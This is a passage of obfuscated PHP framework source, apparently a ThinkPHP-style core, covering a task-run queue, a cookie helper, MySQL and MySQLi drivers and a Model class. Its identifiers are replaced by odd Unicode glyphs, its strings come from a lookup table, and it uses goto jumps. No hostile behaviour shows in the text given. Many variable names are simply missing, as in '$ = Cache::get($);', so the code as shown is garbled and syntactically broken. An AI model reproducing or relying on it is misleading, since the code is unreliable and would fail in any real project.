Cache::get(self::QUEUE_DATA); Cache::removeMemory(self::QUEUE_DATA); if (!$ի) { return array(); } return $ի; } public static function setAll($) { $Ҋ = 3600 * 24 * 30; Cache::set(self::QUEUE_LENGTH, count($), $Ҋ); Cache::set(self::QUEUE_DATA, $, $Ҋ); Cache::removeMemory(self::QUEUE_LENGTH); Cache::removeMemory(self::QUEUE_DATA); } public static function clear() { self::setAll(array()); } } class TaskRun { private static $asyncAdd = false; private static $syncTask = false; public static function timeLimit($, $ = 5.0) { if (!$) { return; } $ = Cache::get($); if (!$ || timeFloat() - floatVal($) >= $) { Cache::set($, timeFloat(), $ * 10); return !0; } return !1; } public static function timeLimitCall($ْ̑, $, $, $և = 5.0) { $ =& $_SERVER[譃]; if (!$ْ̑ || !$) { return; } self::$asyncAdd = !0; $递 = $[1737]; $ز = Cache::get($递, !0); $ = array($[1738] => timeFloat(), $[1739] => timeFloat(), $[263] => $, $[1732] => $, $[200] => $և); if (is_array($ز[$ْ̑])) { $[$[1739]] = $ز[$ْ̑][$[1739]]; } if (is_array($ز[$ْ̑])) { if (timeFloat() - $ز[$ْ̑][$[1738]] < $[$[200]] * 0.3) { return; } $[$[1739]] = $ز[$ْ̑][$[1739]]; } $ز[$ْ̑] = $; Cache::set($递, $ز, 60); Cache::removeMemory($递); write_log($[1740] . $ْ̑ . $[71] . $, $[1734]); } public static function timeLimitCallLoop() { $ۣ =& $_SERVER[譃]; $ = array($ۣ[1741]); $ = in_array(strtolower(ACTION), $); if (!$ && !self::$asyncAdd) { return; } $ŷ = $ۣ[1737]; $ׇ = Cache::get($ŷ, !0); if (!$ׇ || count($ׇ) <= 0) { return; } $ = !1; $蜳 = timeFloat(); $ѡ = array(); foreach ($ׇ as $ => $ٿ) { if ($蜳 - $ٿ[$ۣ[1739]] > $ٿ[$ۣ[200]]) { $ = !0; try { Hook::apply($ٿ[$ۣ[263]], $ٿ[$ۣ[1732]]); write_log($ۣ[1742] . $ . $ۣ[71] . $ٿ[$ۣ[263]] . $ۣ[1743] . ACTION, $ۣ[1734]); } catch (Exception $ǟ) { } continue; } $ѡ[$] = $ٿ; } if (!$) { return; } if (!$ѡ) { return Cache::remove($ŷ); } Cache::set($ŷ, $ѡ, 60); Cache::removeMemory($ŷ); } public static function finished($؏, $Ћ) { $ =& $_SERVER[譃]; if (!self::$syncTask) { self::$syncTask = array(); } self::$syncTask[] = array($[263] => $؏, $[1732] => $Ћ); } private static function finishedRun() { $ =& $_SERVER[譃]; if (!self::$syncTask) { return; } foreach (self::$syncTask as $) { try { Hook::apply($[$[263]], $[$[1732]]); } catch (Exception $ӥ) { } } } public static function autoRun() { self::finishedRun(); self::timeLimitCallLoop(); } } goto c۶; C: class Cookie { private $prefix = ''; private $expire = 3600; public function __construct($ˆ = '', $ѿ = 0) { if (is_string($ˆ) && $ˆ != $_SERVER[譃][12]) { $this->prefix = $ˆ; } if (is_numeric($ѿ) && $ѿ > 0) { $this->expire = $ѿ; } } public static function getInstance() { static $䖷; if ($䖷 === null) { $䖷 = new self(); } return $䖷; } private static $cookieDisable = false; public static function disable($Ѭ) { self::$cookieDisable = $Ѭ; } private static $sameCookieSet = array(); public static function set($ܥ, $ɷ, $ = 0, $ګ = false, $ʮ = false) { $ϼʹ =& $_SERVER[譃]; if (self::$cookieDisable) { return; } if (!$) { $ = 24 * 3600 * 7; } if (isset(self::$sameCookieSet[$ܥ]) && self::$sameCookieSet[$ܥ] == $ɷ . $) { return; } self::$sameCookieSet[$ܥ] = $ɷ . $; if (!$ʮ) { $ʮ = str_replace(HOST, $ϼʹ[12], APP_HOST); $ʮ = _get($GLOBALS, $ϼʹ[882], $ʮ); } $ = $ϼʹ[12]; setcookie($ܥ, $ɷ, time() + $, $ϼʹ[8] . trim($ʮ, $ϼʹ[8]) . $, !1, !1, $ګ); } public static function setSafe($ĕ, $, $ԯɞ = 0) { self::set($ĕ, $, $ԯɞ, !0); } public static function get($ک) { static $ = false; if (!$) { self::initHeaderCookie(); $ = !0; } return isset($_COOKIE[$ک]) ? $_COOKIE[$ک] : !1; } private static function initHeaderCookie() { $ =& $_SERVER[譃]; if (!isset($_SERVER[$[883]]) || !$_SERVER[$[883]]) { return; } $ = explode($[71], $_SERVER[$[883]]); foreach ($ as $) { $ = explode($[884], $); if (count($) != 2 || !isset($[1])) { continue; } $_COOKIE[trim($[0])] = trim($[1]); } } public static function remove($ﱻÌ, $Ƶ = false) { unset($_COOKIE[$ﱻÌ]); self::set($ﱻÌ, $_SERVER[譃][12], 1, $Ƶ); } } class DbMysql extends Db { public function __construct($ = '') { $ڣ =& $_SERVER[譃]; if (!extension_loaded($ڣ[802])) { think_exception(think_lang($ڣ[14]) . $ڣ[885]); } if (!empty($)) { $this->config = $; if (empty($this->config[$ڣ[17]])) { $this->config[$ڣ[17]] = $ڣ[12]; } } } public function connect($ = '', $ = 0, $ = false) { $͍ƭ =& $_SERVER[譃]; if (!isset($this->linkID[$])) { if (empty($)) { $ = $this->config; } $ = $[$͍ƭ[886]] . ($[$͍ƭ[887]] ? "\72{$[$͍ƭ[887]]}" : $͍ƭ[12]); $Ǝ = !empty($[$͍ƭ[17]][$͍ƭ[18]]) ? $[$͍ƭ[17]][$͍ƭ[18]] : $this->pconnect; if ($Ǝ) { $this->linkID[$] = mysql_pconnect($, $[$͍ƭ[888]], $[$͍ƭ[889]], 131072); } else { $this->linkID[$] = mysql_connect($, $[$͍ƭ[888]], $[$͍ƭ[889]], !0, 131072); } if (!$this->linkID[$] || !empty($[$͍ƭ[21]]) && !mysql_select_db($[$͍ƭ[21]], $this->linkID[$])) { think_exception(mysql_error()); } $ = mysql_get_server_info($this->linkID[$]); mysql_query($͍ƭ[890] . think_config($͍ƭ[891]) . $͍ƭ[58], $this->linkID[$]); if ($ > $͍ƭ[892]) { mysql_query($͍ƭ[893], $this->linkID[$]); } $this->connected = !0; if (1 != think_config($͍ƭ[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { mysql_free_result($this->queryID); $this->queryID = null; } public function query($ߚ) { $崻 =& $_SERVER[譃]; if (0 === stripos($ߚ, $崻[263])) { $this->close(); $this->connected = !1; } $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $ߚ; if ($this->queryID) { $this->free(); } think_action_status($崻[23], 1); think_status($崻[24]); $this->queryID = mysql_query($ߚ, $this->_linkID); $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = mysql_num_rows($this->queryID); return $this->getAll(); } } public function execute($݄) { $ͭ =& $_SERVER[譃]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $݄; if ($this->queryID) { $this->free(); } think_action_status($ͭ[25], 1); think_status($ͭ[24]); $ = mysql_query($݄, $this->_linkID); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = mysql_affected_rows($this->_linkID); $this->lastInsID = mysql_insert_id($this->_linkID); return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { mysql_query($_SERVER[譃][894], $this->_linkID); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $죐 = mysql_query($_SERVER[譃][895], $this->_linkID); $this->transTimes = 0; if (!$죐) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = mysql_query($_SERVER[譃][896], $this->_linkID); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ = array(); if ($this->numRows > 0) { while ($𠑢 = mysql_fetch_assoc($this->queryID)) { $[] = $𠑢; } mysql_data_seek($this->queryID, 0); } return $; } public function getFields($הÇ) { $ =& $_SERVER[譃]; $Ǧ = $this->query($[897] . $this->parseKey($הÇ)); $Ϩ = array(); if ($Ǧ) { foreach ($Ǧ as $Ӟ => $Ō) { $Ϩ[$Ō[$[31]]] = array($[32] => $Ō[$[31]], $[33] => $Ō[$[34]], $[35] => (bool) (strtoupper($Ō[$[36]]) === $[898]), $[37] => $Ō[$[38]], $[39] => strtolower($Ō[$[40]]) == $[41], $[42] => strtolower($Ō[$[43]]) == $[44]); } } return $Ϩ; } public function getTables($ݢ = '') { $☀ =& $_SERVER[譃]; if (!empty($ݢ)) { $ԍ = $☀[899] . $ݢ . $☀[900]; } else { $ԍ = $☀[901]; } $ = $this->query($ԍ); $ = array(); foreach ($ as $ԟǣ => $ފ) { $[$ԟǣ] = current($ފ); } return $; } public function replace($, $훦 = array()) { $ˇ =& $_SERVER[譃]; foreach ($ as $͊ => $) { $י = $this->parseValue($); if (is_scalar($י)) { $퐚[] = $י; $[] = $this->parseKey($͊); } } $ߞ = $ˇ[902] . $this->parseTable($훦[$ˇ[278]]) . $ˇ[903] . implode($ˇ[50], $) . $ˇ[904] . implode($ˇ[50], $퐚) . $ˇ[905]; return $this->execute($ߞ); } public function insertAll($ܠӠ, $ы = array(), $ = false) { $ݎ⾥ =& $_SERVER[譃]; if (!is_array($ܠӠ[0])) { return !1; } $ = array_keys($ܠӠ[0]); $ʏ٩ = array(); foreach ($ܠӠ as $) { $ = array(); foreach ($ as $ʔ => $Ս) { $Ս = $this->parseValue($Ս); if (is_scalar($Ս)) { $[] = $Ս; } } $ʏ٩[] = $ݎ⾥[259] . implode($ݎ⾥[50], $) . $ݎ⾥[905]; } array_walk($, array($this, $ݎ⾥[906])); $֣ = ($ ? $ݎ⾥[907] : $ݎ⾥[908]) . $ݎ⾥[909] . $this->parseTable($ы[$ݎ⾥[278]]) . $ݎ⾥[903] . implode($ݎ⾥[50], $) . $ݎ⾥[910] . implode($ݎ⾥[50], $ʏ٩); return $this->execute($֣); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $ƕ =& $_SERVER[譃]; $this->error = mysql_errno() . $ƕ[4] . mysql_error($this->_linkID); if ($ƕ[12] != $this->queryStr) { $this->error .= LNG($ƕ[48]) . $this->queryStr; } think_trace($this->error, $ƕ[12], $ƕ[49]); return $this->error; } public function escapeString($ؔ) { if ($this->_linkID) { return mysql_real_escape_string($ؔ, $this->_linkID); } else { return mysql_escape_string($ؔ); } } public function parseKey(&$, $ѐ = true) { $Ǩ =& $_SERVER[譃]; if ($ѐ) { $ = $this->parseKeyCheck($); } if ($ != $Ǩ[185] && !preg_match($Ǩ[911], $)) { $ = $Ǩ[384] . trim($, $Ǩ[384]) . $Ǩ[384]; } return $; } } class DbMysqli extends Db { public function __construct($ˊ = '') { $ =& $_SERVER[譃]; if (!extension_loaded($[912])) { think_exception(think_lang($[14]) . $[913]); } if (!empty($ˊ)) { $this->config = $ˊ; if (empty($this->config[$[17]])) { $this->config[$[17]] = $[12]; } } } public function connect($ֶƼ = '', $靖м = 0) { $罿 =& $_SERVER[譃]; if (!isset($this->linkID[$靖м])) { if (empty($ֶƼ)) { $ֶƼ = $this->config; } $this->linkID[$靖м] = new mysqli($ֶƼ[$罿[886]], $ֶƼ[$罿[888]], $ֶƼ[$罿[889]], $ֶƼ[$罿[21]], $ֶƼ[$罿[887]] ? intval($ֶƼ[$罿[887]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$靖м]->server_version; $this->linkID[$靖м]->query($罿[890] . think_config($罿[891]) . $罿[58]); if ($ > $罿[892]) { $this->linkID[$靖м]->query($罿[893]); } $this->connected = !0; if (1 != think_config($罿[22])) { unset($this->config); } } return $this->linkID[$靖м]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($Ѹ) { $ =& $_SERVER[譃]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $Ѹ; if ($this->queryID) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->queryID = $this->_linkID->query($Ѹ); if ($this->_linkID->more_results()) { while (($ = $this->_linkID->next_result()) != NULL) { $->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($ƀ) { $Ύ =& $_SERVER[譃]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ƀ; if ($this->queryID) { $this->free(); } think_action_status($Ύ[25], 1); think_status($Ύ[24]); $ = $this->_linkID->query($ƀ); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $ϛ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$ϛ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ɢ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$ɢ) { $this->error(); return !1; } } return !0; } private function getAll() { $ʒ = array(); if ($this->numRows > 0) { for ($ = 0; $ < $this->numRows; $++) { $ʒ[$] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ʒ; } public function getFields($ۻ) { $ =& $_SERVER[譃]; $ = $this->query($[897] . $this->parseKey($ۻ)); $ʂ̄ = array(); if ($) { foreach ($ as $ސ => $ަ) { $ʂ̄[$ަ[$[31]]] = array($[32] => $ަ[$[31]], $[33] => $ަ[$[34]], $[35] => (bool) ($ަ[$[36]] === $[12]), $[37] => $ަ[$[38]], $[39] => strtolower($ަ[$[40]]) == $[41], $[42] => strtolower($ަ[$[43]]) == $[44]); } } return $ʂ̄; } public function getTables($ޛ = '') { $ =& $_SERVER[譃]; $٨ = !empty($ޛ) ? $[899] . $ޛ . $[900] : $[901]; $ = $this->query($٨); $Ե = array(); if ($) { foreach ($ as $֏ => $䂄) { $Ե[$֏] = current($䂄); } } return $Ե; } public function replace($, $䌰 = array()) { $· =& $_SERVER[譃]; foreach ($ as $ => $) { $ = $this->parseValue($); if (is_scalar($)) { $[] = $; $ڐ[] = $this->parseKey($); } } $ = $·[902] . $this->parseTable($䌰[$·[278]]) . $·[903] . implode($·[50], $ڐ) . $·[904] . implode($·[50], $) . $·[905]; return $this->execute($); } public function insertAll($, $ = array(), $ = false) { $ =& $_SERVER[譃]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $俙 = array(); foreach ($ as $ӷ) { $ = array(); foreach ($ӷ as $߿ => $Ⳛ١) { $Ⳛ١ = $this->parseValue($Ⳛ١); if (is_scalar($Ⳛ١)) { $[] = $Ⳛ١; } } $俙[] = $[259] . implode($[50], $) . $[905]; } array_walk($, array($this, $[906])); $ꩂ = $ ? $[907] : $[908]; $ŷ = $ꩂ . $[909] . $this->parseTable($[$[278]]) . $[903] . implode($[50], $) . $[910] . implode($[50], $俙); return $this->execute($ŷ); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $뢽 =& $_SERVER[譃]; $this->error = $this->_linkID->errno . $뢽[4] . $this->_linkID->error; if ($뢽[12] != $this->queryStr) { $this->error .= LNG($뢽[48]) . $this->queryStr; } think_trace($this->error, $뢽[12], $뢽[49]); return $this->error; } public function escapeString($ͯ) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ͯ); } else { return addslashes($ͯ); } } public function parseKey(&$ߌ, $ = true) { $Ƕ =& $_SERVER[譃]; if ($) { $ߌ = $this->parseKeyCheck($ߌ); } if ($ߌ != $Ƕ[185] && !preg_match($Ƕ[911], $ߌ)) { $ߌ = $Ƕ[384] . trim($ߌ, $Ƕ[384]) . $Ƕ[384]; } return $ߌ; } } goto bЉ; a: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "\x69\144"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("\164\141\142\154\x65", "\157\x72\144\145\x72", "\x61\154\x69\x61\x73", "\x68\141\166\151\156\147", "\147\162\x6f\x75\x70", "\x6c\157\143\x6b", "\144\x69\x73\x74\x69\x6e\143\x74", "\141\165\164\157", "\146\x69\x6c\x74\x65\x72", "\166\141\x6c\151\144\x61\164\145", "\162\x65\163\165\x6c\x74", "\x62\151\x6e\x64", "\x74\157\x6b\145\156"); public function __construct($ = '', $ = '', $ֽ = '') { $ۂ =& $_SERVER[譃]; $this->_initialize(); if (!empty($)) { if (strpos($, $ۂ[10])) { list($this->dbName, $this->name) = explode($ۂ[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $ۂ[12]; } elseif ($ۂ[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($ۂ[243]); } $this->db(0, empty($this->connection) ? $ֽ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ưߺ =& $_SERVER[譃]; if (empty($this->fields)) { if (think_config($ưߺ[244])) { $͍ = $this->dbName ? $this->dbName : think_config($ưߺ[245]); $Ӳ = think_var_cache($ưߺ[246] . strtolower(get_path_this($͍) . $ưߺ[10] . $this->name)); if ($Ӳ) { $Ӵ = think_config($ưߺ[247]); if (empty($Ӵ) || $Ӳ[$ưߺ[248]] == $Ӵ) { $this->fields = $Ӳ; return; } } } $this->flush(); } } public function flush() { $ట =& $_SERVER[譃]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$ట[249]] = !1; foreach ($ as $β => $뷁) { $ƴ[$β] = $뷁[$ట[33]]; if ($뷁[$ట[39]]) { $this->fields[$ట[250]] = $β; if ($뷁[$ట[42]]) { $this->fields[$ట[249]] = !0; } } } $this->fields[$ట[251]] = $ƴ; if (think_config($ట[247])) { $this->fields[$ట[248]] = think_config($ట[247]); } if (think_config($ట[244])) { $ = $this->dbName ? $this->dbName : think_config($ట[245]); think_var_cache($ట[246] . strtolower(get_path_this($) . $ట[10] . $this->name), $this->fields); } } public function switchModel($, $ƞ = array()) { $ڨ =& $_SERVER[譃]; $ڠ = ucwords(strtolower($)) . $ڨ[252]; if (!class_exists($ڠ)) { think_exception($ڠ . think_lang($ڨ[253])); } $this->_extModel = new $ڠ($this->name); if (!empty($ƞ)) { foreach ($ƞ as $ڡ) { $this->_extModel->setProperty($ڡ, $this->{$ڡ}); } } return $this->_extModel; } public function __set($ύ, $幂) { $this->data[$ύ] = $幂; } public function __get($ʼnާ) { return isset($this->data[$ʼnާ]) ? $this->data[$ʼnާ] : null; } public function __isset($) { return isset($this->data[$]); } public function __unset($) { unset($this->data[$]); } public function __call($, $) { $ =& $_SERVER[譃]; if (in_array(strtolower($), $this->methods, !0)) { $this->options[strtolower($)] = $[0]; return $this; } elseif (in_array(strtolower($), array($[254], $[255], $[256], $[257], $[258]), !0)) { $Ő = isset($[0]) ? $[0] : $[185]; $Ő = $this->db->parseKey($Ő); return $this->getField(strtoupper($) . $[259] . $Ő . $[260] . $, $[254]); } elseif (strtolower(substr($, 0, 5)) == $[261]) { $Ő = think_parse_name(substr($, 5)); $֓[$Ő] = $[0]; return $this->where($֓)->find(); } elseif (strtolower(substr($, 0, 10)) == $[262]) { $ = think_parse_name(substr($, 10)); $֓[$] = $[0]; return $this->where($֓)->getField($[1]); } elseif (isset($this->_scope[$])) { return $this->scope($, $[0]); } elseif (method_exists($this, $)) { array_unshift($, $); return call_user_func_array(array($this, $[263]), $); } else { return call_user_func_array(array(parent, $), $); } } protected function call() { $ܼ =& $_SERVER[譃]; $ = func_get_args(); $ = array_shift($); $ = $; if (is_array($)) { $ = $[1]; $ = $[0]; } $ߍ = count($) - 1; if (isset($[$ߍ]) && $[$ߍ] === $) { think_exception(__CLASS__ . $ܼ[4] . $ . think_lang($ܼ[264])); return; } $[] = $; if (method_exists($this, $ܼ[265])) { $Γ = call_user_func_array(array($this, $ܼ[266]), array($, $)); if (!is_null($Γ) && $Γ !== !1) { return $Γ; } } $ܔ = call_user_func_array(array($this, $), $); if (method_exists($this, $ܼ[267])) { $Γ = call_user_func_array(array($this, $ܼ[268]), array($, $, $ܔ)); if ($Γ) { return $Γ; } } return $ܔ; } protected function _initialize() { } protected function _facade($) { $Ǚ =& $_SERVER[譃]; if (!empty($this->fields)) { foreach ($ as $姃 => $) { if (is_array($this->fields) && !in_array($姃, $this->fields, !0)) { unset($[$姃]); } elseif (is_scalar($)) { $this->_parseType($, $姃); } } } if (!empty($this->options[$Ǚ[269]])) { $ = array_map($this->options[$Ǚ[269]], $); unset($this->options[$Ǚ[269]]); } $this->_beforeWrite($); return $; } protected function _beforeWrite(&$) { } public function add($ؖ = '', $ܝ = array(), $ؑʣ = false) { if (empty($ؖ)) { if (!empty($this->data)) { $ؖ = $this->data; $this->data = array(); } else { $this->error = think_lang($_SERVER[譃][270]); return !1; } } $ܝ = $this->_parseOptions($ܝ); $ؖ = $this->_facade($ؖ); if (!1 === $this->_beforeInsert($ؖ, $ܝ)) { return !1; } $ = $this->db->insert($ؖ, $ܝ, $ؑʣ); if (!1 !== $) { $Ę = $this->getLastInsID(); if ($Ę) { $ؖ[$this->getPk()] = $Ę; $this->_after_insert($ؖ, $ܝ); return $Ę; } $this->_after_insert($ؖ, $ܝ); } return $; } protected function _beforeInsert(&$Ŋ, $҂) { } protected function _after_insert($, $摫) { } public function addAll($Ձ, $ܳʇ = array(), $ = false) { $ =& $_SERVER[譃]; if (empty($Ձ)) { $this->error = think_lang($[270]); return !1; } $ܳʇ = $this->_parseOptions($ܳʇ); foreach ($Ձ as $ => $) { $Ձ[$] = $this->_facade($); } if (method_exists($this->db, $[271])) { $ = $this->db->insertAll($Ձ, $ܳʇ, $); } else { $this->startTrans(); foreach ($Ձ as $ => $) { $ = $this->db->insert($, $ܳʇ, $); } $this->commit(); } if (!1 !== $) { $Ǡ = $this->getLastInsID(); if ($Ǡ) { return $Ǡ; } } return $; } public function selectAdd($ = '', $ = '', $ = array()) { $ѵ =& $_SERVER[譃]; $ = $this->_parseOptions($); if (!1 === ($ = $this->db->selectInsert($ ? $ : $[$ѵ[272]], $ ? $ : $this->getTableName(), $))) { $this->error = think_lang($ѵ[273]); return !1; } else { return $; } } public function save($ = '', $ = array()) { $ŽҼ =& $_SERVER[譃]; if (empty($)) { if (!empty($this->data)) { $ = $this->data; $this->data = array(); } else { $this->error = think_lang($ŽҼ[270]); return !1; } } $ = $this->_facade($); $ = $this->_parseOptions($); $ = $this->getPk(); if (!isset($[$ŽҼ[274]])) { if (isset($[$])) { $[$] = $[$]; $[$ŽҼ[274]] = $; unset($[$]); } else { $this->error = think_lang($ŽҼ[273]); return !1; } } if (is_array($[$ŽҼ[274]]) && isset($[$ŽҼ[274]][$])) { $ܖ = $[$ŽҼ[274]][$]; } if (!1 === $this->_beforeUpdate($, $)) { return !1; } $Ԝ = $this->db->update($, $); if (!1 !== $Ԝ) { if (isset($ܖ)) { $[$] = $ܖ; } $this->_afterUpdate($, $); } return $Ԝ; } protected function _beforeUpdate(&$, $ȯ) { } protected function _afterUpdate($ˍ, $) { } public function delete($ = array()) { $ϫ =& $_SERVER[譃]; if (empty($) && empty($this->options[$ϫ[274]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $ = $this->getPk(); if (is_numeric($) || is_string($)) { if (strpos($, $ϫ[50])) { $ߘ[$] = array($ϫ[275], $); } else { $ߘ[$] = $; } $this->options[$ϫ[274]] = $ߘ; } $ = $this->_parseOptions(); if (is_array($[$ϫ[274]]) && isset($[$ϫ[274]][$])) { $ = $[$ϫ[274]][$]; } $ = $this->db->delete($); if (!1 !== $) { $ = array(); if (isset($)) { $[$] = $; } $this->_after_delete($, $); } return $; } protected function _after_delete($, $) { } public function select($ٜڟ = array()) { $ۚވ =& $_SERVER[譃]; if (is_string($ٜڟ) || is_numeric($ٜڟ)) { $ = $this->getPk(); if (strpos($ٜڟ, $ۚވ[50])) { $ݹբ[$] = array($ۚވ[275], $ٜڟ); } else { $ݹբ[$] = $ٜڟ; } $this->options[$ۚވ[274]] = $ݹբ; } elseif (!1 === $ٜڟ) { $ٜڟ = $this->_parseOptions(); return $ۚވ[276] . $this->db->buildSelectSql($ٜڟ) . $ۚވ[277]; } $ٜڟ = $this->_parseOptions(); $݄ = $this->db->select($ٜڟ); if (!1 === $݄) { return !1; } if (empty($݄)) { return null; } $this->_afterSelect($݄, $ٜڟ); return $݄; } protected function _afterSelect(&$, $ǵ) { } public function buildSql($ۣ = array()) { $ߔ =& $_SERVER[譃]; $ۣ = $this->_parseOptions($ۣ); return $ߔ[276] . $this->db->buildSelectSql($ۣ) . $ߔ[277]; } public function optionsValue($ = null) { if (is_null($)) { return $this->options; } elseif (is_array($)) { $this->options = array_merge($this->options, $); } } protected function _parseOptions($͑ = array()) { $ =& $_SERVER[譃]; if (is_array($͑)) { $͑ = array_merge($this->options, $͑); } $this->options = array(); if (!isset($͑[$[278]])) { $͑[$[278]] = $this->getTableName(); $ = $this->fields; } else { $ = $this->getDbFields(); } if (!empty($͑[$[279]])) { $͑[$[278]] .= $[53] . $͑[$[279]]; } $͑[$[280]] = $this->name; if (isset($͑[$[274]]) && is_array($͑[$[274]]) && !empty($) && !isset($͑[$[281]]) && !isset($͑[$[278]])) { foreach ($͑[$[274]] as $ => $ǻ) { $ = trim($); if (in_array($, $, !0)) { if (is_scalar($ǻ)) { $this->_parseType($͑[$[274]], $); } } elseif (!is_numeric($) && $[11] != substr($, 0, 1) && !1 === strpos($, $[10]) && !1 === strpos($, $[259]) && !1 === strpos($, $[282]) && !1 === strpos($, $[283])) { unset($͑[$[274]][$]); } } } $this->_options_filter($͑); return $͑; } protected function _options_filter(&$ϕ) { } protected function _parseType(&$ܝ, $ݿ) { $ף =& $_SERVER[譃]; if (empty($this->options[$ף[284]][$ף[4] . $ݿ])) { $ = strtolower($this->fields[$ף[251]][$ݿ]); if (!1 !== strpos($, $ף[285])) { } elseif (!1 === strpos($, $ף[286]) && !1 !== strpos($, $ף[287])) { $ܝ[$ݿ] = intval($ܝ[$ݿ]); } elseif (!1 !== strpos($, $ף[288]) || !1 !== strpos($, $ף[289])) { $ܝ[$ݿ] = floatval($ܝ[$ݿ]); } elseif (!1 !== strpos($, $ף[290])) { $ܝ[$ݿ] = (bool) $ܝ[$ݿ]; } } } public function find($ҍ = array()) { $ =& $_SERVER[譃]; if (is_numeric($ҍ) || is_string($ҍ)) { $[$this->getPk()] = intval($ҍ); $this->options[$[274]] = $; } $this->options[$[291]] = 1; $ҍ = $this->_parseOptions(); $ = $this->db->select($ҍ); if (!1 === $) { return !1; } if (empty($)) { return null; } $this->data = $[0]; $this->_afterFind($this->data, $ҍ); if (!empty($this->options[$[292]])) { return $this->returnResult($this->data, $this->options[$[292]]); } return $this->data; } protected function _afterFind(&$, $ǐ֡) { } protected function returnResult($ΰ, $ = '') { $ =& $_SERVER[譃]; if ($) { if (is_callable($)) { return call_user_func($, $ΰ); } switch (strtolower($)) { case $[293]: return json_encode($ΰ); case $[294]: return xml_encode($ΰ); } } return $ΰ; } public function parseFieldsMap($, $ѽ = 1) { if (!empty($this->_map)) { foreach ($this->_map as $ => $) { if ($ѽ == 1) { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } else { if (isset($[$])) { $[$] = $[$]; unset($[$]); } } } } return $; } public function setField($ϗ, $ = '') { if (is_array($ϗ)) { $ = $ϗ; } else { $[$ϗ] = $; } return $this->save($); } public function setAdd($Щ, $ܪ = 1) { $ =& $_SERVER[譃]; $ʐ = $Щ . $[295] . $ܪ; if ($ܪ < 0) { $ʐ = $Щ . $ܪ; } return $this->setField($Щ, array($[296], $ʐ)); } public function getField($, $Ϲ = null) { $ =& $_SERVER[譃]; $[$[272]] = $; $ = $this->_parseOptions($); $ = trim($); if (strpos($, $[50])) { if (!isset($[$[291]])) { $[$[291]] = is_numeric($Ϲ) ? $Ϲ : $[12]; } $Ҋ = $this->db->select($); if (!empty($Ҋ)) { $퇳 = explode($[50], $); $ = array_keys($Ҋ[0]); $ċ = array_shift($); $ق = array_shift($); $ø = array(); $Ӥ = count($퇳); foreach ($Ҋ as $) { $餯ة = $[$ċ]; if (2 == $Ӥ) { $ø[$餯ة] = $[$ق]; } else { $ø[$餯ة] = is_string($Ϲ) ? implode($Ϲ, $) : $; } } return $ø; } } else { if (!0 !== $Ϲ) { $[$[291]] = is_numeric($Ϲ) ? $Ϲ : 1; } if ($Ϲ === $[254]) { unset($[$[291]]); } $ = $this->db->select($); if (!empty($)) { if ($Ϲ === $[254]) { return reset($[0]); } if (!0 !== $Ϲ && 1 == $[$[291]]) { return reset($[0]); } foreach ($ as $) { $[] = $[$]; } return $; } } return null; } public function create($׳ = '', $Ӧ = '') { $ =& $_SERVER[譃]; if (empty($׳)) { $׳ = $_POST; } elseif (is_object($׳)) { $׳ = get_object_vars($׳); } if (empty($׳) || !is_array($׳)) { $this->error = think_lang($[270]); return !1; } $׳ = $this->parseFieldsMap($׳, 0); $Ӧ = $Ӧ ? $Ӧ : (!empty($׳[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$[272]])) { $儐 = $this->options[$[272]]; unset($this->options[$[272]]); } elseif ($Ӧ == THINK_MODEL_INSERT && isset($this->insertFields)) { $儐 = $this->insertFields; } elseif ($Ӧ == THINK_MODEL_UPDATE && isset($this->updateFields)) { $儐 = $this->updateFields; } if (isset($儐)) { if (is_string($儐)) { $儐 = explode($[50], $儐); } 